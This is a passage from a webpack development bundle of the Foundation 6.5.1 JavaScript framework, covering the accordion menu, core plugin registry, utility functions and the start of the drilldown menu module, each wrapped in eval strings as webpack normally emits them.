collapsing up.\n * @event AccordionMenu#up\n */\n _this3.$element.trigger('up.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Destroys an instance of accordion menu.\n * @fires AccordionMenu#destroyed\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$element.find('[data-submenu]').slideDown(0).css('display', '');\n this.$element.find('a').off('click.zf.accordionMenu');\n this.$element.find('[data-is-parent-link]').detach();\n\n if (this.options.submenuToggle) {\n this.$element.find('.has-submenu-toggle').removeClass('has-submenu-toggle');\n this.$element.find('.submenu-toggle').remove();\n }\n\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'accordion');\n }\n }]);\n\n return AccordionMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__[\"Plugin\"]);\n\nAccordionMenu.defaults = {\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Amount of time to animate the opening of a submenu in ms.\n * @option\n * @type {number}\n * @default 250\n */\n slideSpeed: 250,\n\n /**\n * Adds a separate submenu toggle button. This allows the parent item to have a link.\n * @option\n * @example true\n */\n submenuToggle: false,\n\n /**\n * The text used for the submenu toggle if enabled. This is used for screen readers only.\n * @option\n * @example true\n */\n submenuToggleText: 'Toggle menu',\n\n /**\n * Allow the menu to have multiple open panes.\n * @option\n * @type {boolean}\n * @default true\n */\n multiOpen: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.accordionMenu.js?")},"./js/foundation.core.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Foundation\", function() { return Foundation; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\nvar FOUNDATION_VERSION = '6.5.1'; // Global Foundation object\n// This is attached to the window, or used as a module for AMD/Browserify\n\nvar Foundation = {\n version: FOUNDATION_VERSION,\n\n /**\n * Stores initialized plugins.\n */\n _plugins: {},\n\n /**\n * Stores generated unique ids for plugin instances\n */\n _uuids: [],\n\n /**\n * Defines a Foundation plugin, adding it to the `Foundation` namespace and the list of plugins to initialize when reflowing.\n * @param {Object} plugin - The constructor of the plugin.\n */\n plugin: function plugin(_plugin, name) {\n // Object key to use when adding to global Foundation object\n // Examples: Foundation.Reveal, Foundation.OffCanvas\n var className = name || functionName(_plugin); // Object key to use when storing the plugin, also used to create the identifying data attribute for the plugin\n // Examples: data-reveal, data-off-canvas\n\n var attrName = hyphenate(className); // Add to the Foundation object and the plugins list (for reflowing)\n\n this._plugins[attrName] = this[className] = _plugin;\n },\n\n /**\n * @function\n * Populates the _uuids array with pointers to each individual plugin instance.\n * Adds the `zfPlugin` data-attribute to programmatically created plugins to allow use of $(selector).foundation(method) calls.\n * Also fires the initialization event for each plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @param {String} name - the name of the plugin, passed as a camelCased string.\n * @fires Plugin#init\n */\n registerPlugin: function registerPlugin(plugin, name) {\n var pluginName = name ? hyphenate(name) : functionName(plugin.constructor).toLowerCase();\n plugin.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"GetYoDigits\"])(6, pluginName);\n\n if (!plugin.$element.attr(\"data-\".concat(pluginName))) {\n plugin.$element.attr(\"data-\".concat(pluginName), plugin.uuid);\n }\n\n if (!plugin.$element.data('zfPlugin')) {\n plugin.$element.data('zfPlugin', plugin);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n plugin.$element.trigger(\"init.zf.\".concat(pluginName));\n\n this._uuids.push(plugin.uuid);\n\n return;\n },\n\n /**\n * @function\n * Removes the plugins uuid from the _uuids array.\n * Removes the zfPlugin data attribute, as well as the data-plugin-name attribute.\n * Also fires the destroyed event for the plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @fires Plugin#destroyed\n */\n unregisterPlugin: function unregisterPlugin(plugin) {\n var pluginName = hyphenate(functionName(plugin.$element.data('zfPlugin').constructor));\n\n this._uuids.splice(this._uuids.indexOf(plugin.uuid), 1);\n\n plugin.$element.removeAttr(\"data-\".concat(pluginName)).removeData('zfPlugin')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger(\"destroyed.zf.\".concat(pluginName));\n\n for (var prop in plugin) {\n plugin[prop] = null; //clean up script to prep for garbage collection.\n }\n\n return;\n },\n\n /**\n * @function\n * Causes one or more active plugins to re-initialize, resetting event listeners, recalculating positions, etc.\n * @param {String} plugins - optional string of an individual plugin key, attained by calling `$(element).data('pluginName')`, or string of a plugin class i.e. `'dropdown'`\n * @default If no argument is passed, reflow all currently active plugins.\n */\n reInit: function reInit(plugins) {\n var isJQ = plugins instanceof jquery__WEBPACK_IMPORTED_MODULE_0___default.a;\n\n try {\n if (isJQ) {\n plugins.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('zfPlugin')._init();\n });\n } else {\n var type = _typeof(plugins),\n _this = this,\n fns = {\n 'object': function object(plgs) {\n plgs.forEach(function (p) {\n p = hyphenate(p);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + p + ']').foundation('_init');\n });\n },\n 'string': function string() {\n plugins = hyphenate(plugins);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + plugins + ']').foundation('_init');\n },\n 'undefined': function undefined() {\n this['object'](Object.keys(_this._plugins));\n }\n };\n\n fns[type](plugins);\n }\n } catch (err) {\n console.error(err);\n } finally {\n return plugins;\n }\n },\n\n /**\n * Initialize plugins on any elements within `elem` (and `elem` itself) that aren't already initialized.\n * @param {Object} elem - jQuery object containing the element to check inside. Also checks the element itself, unless it's the `document` object.\n * @param {String|Array} plugins - A list of plugins to initialize. Leave this out to initialize everything.\n */\n reflow: function reflow(elem, plugins) {\n // If plugins is undefined, just grab everything\n if (typeof plugins === 'undefined') {\n plugins = Object.keys(this._plugins);\n } // If plugins is a string, convert it to an array with one item\n else if (typeof plugins === 'string') {\n plugins = [plugins];\n }\n\n var _this = this; // Iterate through each plugin\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(plugins, function (i, name) {\n // Get the current plugin\n var plugin = _this._plugins[name]; // Localize the search to all elements inside elem, as well as elem itself, unless elem === document\n\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem).find('[data-' + name + ']').addBack('[data-' + name + ']'); // For each plugin found, initialize it\n\n $elem.each(function () {\n var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n opts = {}; // Don't double-dip on plugins\n\n if ($el.data('zfPlugin')) {\n console.warn(\"Tried to initialize \" + name + \" on an element that already has a Foundation plugin.\");\n return;\n }\n\n if ($el.attr('data-options')) {\n var thing = $el.attr('data-options').split(';').forEach(function (e, i) {\n var opt = e.split(':').map(function (el) {\n return el.trim();\n });\n if (opt[0]) opts[opt[0]] = parseValue(opt[1]);\n });\n }\n\n try {\n $el.data('zfPlugin', new plugin(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), opts));\n } catch (er) {\n console.error(er);\n } finally {\n return;\n }\n });\n });\n },\n getFnName: functionName,\n addToJquery: function addToJquery($) {\n // TODO: consider not making this a jQuery function\n // TODO: need way to reflow vs. re-initialize\n\n /**\n * The Foundation jQuery method.\n * @param {String|Array} method - An action to perform on the current jQuery object.\n */\n var foundation = function foundation(method) {\n var type = _typeof(method),\n $noJS = $('.no-js');\n\n if ($noJS.length) {\n $noJS.removeClass('no-js');\n }\n\n if (type === 'undefined') {\n //needs to initialize the Foundation object, or an individual plugin.\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__[\"MediaQuery\"]._init();\n\n Foundation.reflow(this);\n } else if (type === 'string') {\n //an individual method to invoke on a plugin or group of plugins\n var args = Array.prototype.slice.call(arguments, 1); //collect all the arguments, if necessary\n\n var plugClass = this.data('zfPlugin'); //determine the class of plugin\n\n if (typeof plugClass !== 'undefined' && typeof plugClass[method] !== 'undefined') {\n //make sure both the class and method exist\n if (this.length === 1) {\n //if there's only one, call it directly.\n plugClass[method].apply(plugClass, args);\n } else {\n this.each(function (i, el) {\n //otherwise loop through the jQuery collection and invoke the method on each\n plugClass[method].apply($(el).data('zfPlugin'), args);\n });\n }\n } else {\n //error for no class or no method\n throw new ReferenceError(\"We're sorry, '\" + method + \"' is not an available method for \" + (plugClass ? functionName(plugClass) : 'this element') + '.');\n }\n } else {\n //error for invalid argument type\n throw new TypeError(\"We're sorry, \".concat(type, \" is not a valid parameter. You must use a string representing the method you wish to invoke.\"));\n }\n\n return this;\n };\n\n $.fn.foundation = foundation;\n return $;\n }\n};\nFoundation.util = {\n /**\n * Function for applying a debounce effect to a function call.\n * @function\n * @param {Function} func - Function to be called at end of timeout.\n * @param {Number} delay - Time in ms to delay the call of `func`.\n * @returns function\n */\n throttle: function throttle(func, delay) {\n var timer = null;\n return function () {\n var context = this,\n args = arguments;\n\n if (timer === null) {\n timer = setTimeout(function () {\n func.apply(context, args);\n timer = null;\n }, delay);\n }\n };\n }\n};\nwindow.Foundation = Foundation; // Polyfill for requestAnimationFrame\n\n(function () {\n if (!Date.now || !window.Date.now) window.Date.now = Date.now = function () {\n return new Date().getTime();\n };\n var vendors = ['webkit', 'moz'];\n\n for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) {\n var vp = vendors[i];\n window.requestAnimationFrame = window[vp + 'RequestAnimationFrame'];\n window.cancelAnimationFrame = window[vp + 'CancelAnimationFrame'] || window[vp + 'CancelRequestAnimationFrame'];\n }\n\n if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) {\n var lastTime = 0;\n\n window.requestAnimationFrame = function (callback) {\n var now = Date.now();\n var nextTime = Math.max(lastTime + 16, now);\n return setTimeout(function () {\n callback(lastTime = nextTime);\n }, nextTime - now);\n };\n\n window.cancelAnimationFrame = clearTimeout;\n }\n /**\n * Polyfill for performance.now, required by rAF\n */\n\n\n if (!window.performance || !window.performance.now) {\n window.performance = {\n start: Date.now(),\n now: function now() {\n return Date.now() - this.start;\n }\n };\n }\n})();\n\nif (!Function.prototype.bind) {\n Function.prototype.bind = function (oThis) {\n if (typeof this !== 'function') {\n // closest thing possible to the ECMAScript 5\n // internal IsCallable function\n throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');\n }\n\n var aArgs = Array.prototype.slice.call(arguments, 1),\n fToBind = this,\n fNOP = function fNOP() {},\n fBound = function fBound() {\n return fToBind.apply(this instanceof fNOP ? this : oThis, aArgs.concat(Array.prototype.slice.call(arguments)));\n };\n\n if (this.prototype) {\n // native functions don't have a prototype\n fNOP.prototype = this.prototype;\n }\n\n fBound.prototype = new fNOP();\n return fBound;\n };\n} // Polyfill to get the name of a function in IE9\n\n\nfunction functionName(fn) {\n if (typeof Function.prototype.name === 'undefined') {\n var funcNameRegex = /function\\s([^(]{1,})\\(/;\n var results = funcNameRegex.exec(fn.toString());\n return results && results.length > 1 ? results[1].trim() : \"\";\n } else if (typeof fn.prototype === 'undefined') {\n return fn.constructor.name;\n } else {\n return fn.prototype.constructor.name;\n }\n}\n\nfunction parseValue(str) {\n if ('true' === str) return true;else if ('false' === str) return false;else if (!isNaN(str * 1)) return parseFloat(str);\n return str;\n} // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.js?")},"./js/foundation.core.plugin.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Plugin", function() { return Plugin; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\n\n // Abstract class for providing lifecycle hooks. Expect plugins to define AT LEAST\n// {function} _setup (replaces previous constructor),\n// {function} _destroy (replaces previous destroy)\n\nvar Plugin =\n/*#__PURE__*/\nfunction () {\n function Plugin(element, options) {\n _classCallCheck(this, Plugin);\n\n this._setup(element, options);\n\n var pluginName = getPluginName(this);\n this.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, pluginName);\n\n if (!this.$element.attr("data-".concat(pluginName))) {\n this.$element.attr("data-".concat(pluginName), this.uuid);\n }\n\n if (!this.$element.data(\'zfPlugin\')) {\n this.$element.data(\'zfPlugin\', this);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n this.$element.trigger("init.zf.".concat(pluginName));\n }\n\n _createClass(Plugin, [{\n key: "destroy",\n value: function destroy() {\n this._destroy();\n\n var pluginName = getPluginName(this);\n this.$element.removeAttr("data-".concat(pluginName)).removeData(\'zfPlugin\')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger("destroyed.zf.".concat(pluginName));\n\n for (var prop in this) {\n this[prop] = null; //clean up script to prep for garbage collection.\n }\n }\n }]);\n\n return Plugin;\n}(); // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, \'$1-$2\').toLowerCase();\n}\n\nfunction getPluginName(obj) {\n if (typeof obj.constructor.name !== \'undefined\') {\n return hyphenate(obj.constructor.name);\n } else {\n return hyphenate(obj.className);\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.plugin.js?')},"./js/foundation.core.utils.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"rtl\", function() { return rtl; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"GetYoDigits\", function() { return GetYoDigits; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"RegExpEscape\", function() { return RegExpEscape; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"transitionend\", function() { return transitionend; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"onLoad\", function() { return onLoad; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"ignoreMousedisappear\", function() { return ignoreMousedisappear; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n // Core Foundation Utilities, utilized in a number of places.\n\n/**\n * Returns a boolean for RTL support\n */\n\nfunction rtl() {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').attr('dir') === 'rtl';\n}\n/**\n * returns a random base-36 uid with namespacing\n * @function\n * @param {Number} length - number of random base-36 digits desired. Increase for more random strings.\n * @param {String} namespace - name of plugin to be incorporated in uid, optional.\n * @default {String} '' - if no plugin name is provided, nothing is appended to the uid.\n * @returns {String} - unique id\n */\n\n\nfunction GetYoDigits(length, namespace) {\n length = length || 6;\n return Math.round(Math.pow(36, length + 1) - Math.random() * Math.pow(36, length)).toString(36).slice(1) + (namespace ? \"-\".concat(namespace) : '');\n}\n/**\n * Escape a string so it can be used as a regexp pattern\n * @function\n * @see https://stackoverflow.com/a/9310752/4317384\n *\n * @param {String} str - string to escape.\n * @returns {String} - escaped string\n */\n\n\nfunction RegExpEscape(str) {\n return str.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n}\n\nfunction transitionend($elem) {\n var transitions = {\n 'transition': 'transitionend',\n 'WebkitTransition': 'webkitTransitionEnd',\n 'MozTransition': 'transitionend',\n 'OTransition': 'otransitionend'\n };\n var elem = document.createElement('div'),\n end;\n\n for (var t in transitions) {\n if (typeof elem.style[t] !== 'undefined') {\n end = transitions[t];\n }\n }\n\n if (end) {\n return end;\n } else {\n end = setTimeout(function () {\n $elem.triggerHandler('transitionend', [$elem]);\n }, 1);\n return 'transitionend';\n }\n}\n/**\n * Return an event type to listen for window load.\n *\n * If `$elem` is passed, an event will be triggered on `$elem`. If window is already loaded, the event will still be triggered.\n * If `handler` is passed, attach it to the event on `$elem`.\n * Calling `onLoad` without handler allows you to get the event type that will be triggered before attaching the handler by yourself.\n * @function\n *\n * @param {Object} [] $elem - jQuery element on which the event will be triggered if passed.\n * @param {Function} [] handler - function to attach to the event.\n * @returns {String} - event type that should or will be triggered.\n */\n\n\nfunction onLoad($elem, handler) {\n var didLoad = document.readyState === 'complete';\n var eventType = (didLoad ? '_didLoad' : 'load') + '.zf.util.onLoad';\n\n var cb = function cb() {\n return $elem.triggerHandler(eventType);\n };\n\n if ($elem) {\n if (handler) $elem.one(eventType, handler);\n if (didLoad) setTimeout(cb);else jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one('load', cb);\n }\n\n return eventType;\n}\n/**\n * Retuns an handler for the `mouseleave` that ignore disappeared mouses.\n *\n * If the mouse \"disappeared\" from the document (like when going on a browser UI element, See https://git.io/zf-11410),\n * the event is ignored.\n * - If the `ignoreLeaveWindow` is `true`, the event is ignored when the user actually left the window\n * (like by switching to an other window with [Alt]+[Tab]).\n * - If the `ignoreReappear` is `true`, the event will be ignored when the mouse will reappear later on the document\n * outside of the element it left.\n *\n * @function\n *\n * @param {Function} [] handler - handler for the filtered `mouseleave` event to watch.\n * @param {Object} [] options - object of options:\n * - {Boolean} [false] ignoreLeaveWindow - also ignore when the user switched windows.\n * - {Boolean} [false] ignoreReappear - also ignore when the mouse reappeared outside of the element it left.\n * @returns {Function} - filtered handler to use to listen on the `mouseleave` event.\n */\n\n\nfunction ignoreMousedisappear(handler) {\n var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n _ref$ignoreLeaveWindo = _ref.ignoreLeaveWindow,\n ignoreLeaveWindow = _ref$ignoreLeaveWindo === void 0 ? false : _ref$ignoreLeaveWindo,\n _ref$ignoreReappear = _ref.ignoreReappear,\n ignoreReappear = _ref$ignoreReappear === void 0 ? false : _ref$ignoreReappear;\n\n return function leaveEventHandler(eLeave) {\n for (var _len = arguments.length, rest = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n rest[_key - 1] = arguments[_key];\n }\n\n var callback = handler.bind.apply(handler, [this, eLeave].concat(rest)); // The mouse left: call the given callback if the mouse entered elsewhere\n\n if (eLeave.relatedTarget !== null) {\n return callback();\n } // Otherwise, check if the mouse actually left the window.\n // In firefox if the user switched between windows, the window sill have the focus by the time\n // the event is triggered. We have to debounce the event to test this case.\n\n\n setTimeout(function leaveEventDebouncer() {\n if (!ignoreLeaveWindow && document.hasFocus && !document.hasFocus()) {\n return callback();\n } // Otherwise, wait for the mouse to reeapear outside of the element,\n\n\n if (!ignoreReappear) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).one('mouseenter', function reenterEventHandler(eReenter) {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(eLeave.currentTarget).has(eReenter.target).length) {\n // Fill where the mouse finally entered.\n eLeave.relatedTarget = eReenter.target;\n callback();\n }\n });\n }\n }, 0);\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.utils.js?")},"./js/foundation.drilldown.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Drilldown\", function() { return Drilldown; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * Drilldown module.\n * @module foundation.drilldown\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n * @requires foundation.util.box\n */\n\nvar Drilldown =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Drilldown, _Plugin);\n\n function Drilldown() {\n _classCallCheck(this, Drilldown);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Drilldown).apply(this, arguments));\n }\n\n _createClass(Drilldown, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of a drilldown menu.\n * @class\n * @name Drilldown\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Drilldown.defaults, this.$element.data(), options);\n this.className = 'Drilldown'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('Drilldown', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close',\n 'TAB': 'down',\n 'SHIFT_TAB': 'up'\n });\n }\n /**\n * Initializes the drilldown by creating jQuery collections of elements\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'drilldown');\n\n if (this.options.autoApplyClass) {\n this.$element.addClass('drilldown');\n }\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': false\n });\n this.$submenuAnchors = this.$element.find('li.is-drilldown-submenu-parent').children('a');\n this.$submenus = this.$submenuAnchors.parent('li').children('[data-submenu]').attr('role', 'group');\n this.$menuItems = this.$element.find('li').not('.js-drilldown-back').attr('role', 'treeitem').find('a'); // Set the main menu as current by default (unless a submenu is selected)\n // Used to set the wrapper height when the drilldown is closed/reopened from any (sub)menu\n\n this.$currentMenu = this.$element;\n this.$element.attr('data-mutate', this.$element.attr('data-drilldown') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'drilldown'));\n\n this._prepareMenu();\n\n this._registerEvents();\n\n this._keyboardEvents();\n }\n /**\n * prepares drilldown menu by setting attributes to links and elements\n * sets a min height to prevent content jumping\n * wraps the element if not already wrapped\n * @private\n * @function\n */\n\n }, {\n key: \"_prepareMenu\",\n value: function _prepareMenu() {\n var _this = this; // if(!this.options.holdOpen){\n // this._menuLinkEvents();\n // }\n\n\n this.$submenuAnchors.each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n var $sub = $link.parent();\n\n if (_this.options.parentLink) {\n $link.clone().prependTo($sub.children('[data-submenu]')).wrap('
  • ');\n }\n\n $link.data('savedHref', $link.attr('href')).removeAttr('href').attr('tabindex', 0);\n $link.children('[data-submenu]').attr({\n 'aria-hidden': true,\n 'tabindex': 0,\n 'role': 'group'\n });\n\n _this._events($link);\n });\n this.$submenus.each(function () {\n var $menu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $back = $menu.find('.js-drilldown-back');\n\n if (!$back.length) {\n switch (_this.options.backButtonPosition) {\n case \"bottom\":\n $menu.append(_this.options.backButton);\n break;\n\n case \"top\":\n $menu.prepend(_this.options.backButton);\n break;\n\n default:\n console.error(\"Unsupported backButtonPosition value '\" + _this.options.backButtonPosition + \"'\");\n }\n }\n\n _this._back($menu);\n });\n this.$submenus.addClass('invisible');\n\n if (!this.options.autoHeight) {\n this.$submenus.addClass('drilldown-submenu-cover-previous');\n } // create a wrapper on element if it doesn't exist.\n\n\n if (!this.$element.parent().hasClass('is-drilldown')) {\n this.$wrapper = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.wrapper).addClass('is-drilldown');\n if (this.options.animateHeight) this.$wrapper.addClass('animate-height');\n this.$element.wrap(this.$wrapper);\n } // set wrapper\n\n\n this.$wrapper = this.$element.parent();\n this.$wrapper.css(this._getMaxDims());\n }\n }, {\n key: \"_resize\",\n value: function _resize() {\n this.$wrapper.css({\n 'max-width': 'none',\n 'min-height': 'none'\n }); // _getMaxDims has side effects (boo) but calling it should update all other necessary heights & widths\n\n this.$wrapper.css(this._getMaxDims());\n }\n /**\n * Adds event handlers to elements in the menu.\n * @function\n * @private\n * @param {jQuery} $elem - the current menu item to add handlers to.\n */\n\n }, {\n key: \"_events\",\n value: function _events($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', 'li').hasClass('is-drilldown-submenu-parent')) {\n e.stopImmediatePropagation();\n e.preventDefault();\n } // if(e.target !== e.currentTarget.firstElementChild){\n // return false;\n // }\n\n\n _this._show($elem.parent('li'));\n\n if (_this.options.closeOnClick) {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n $body.off('.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (e.target === _this.$element[0] || 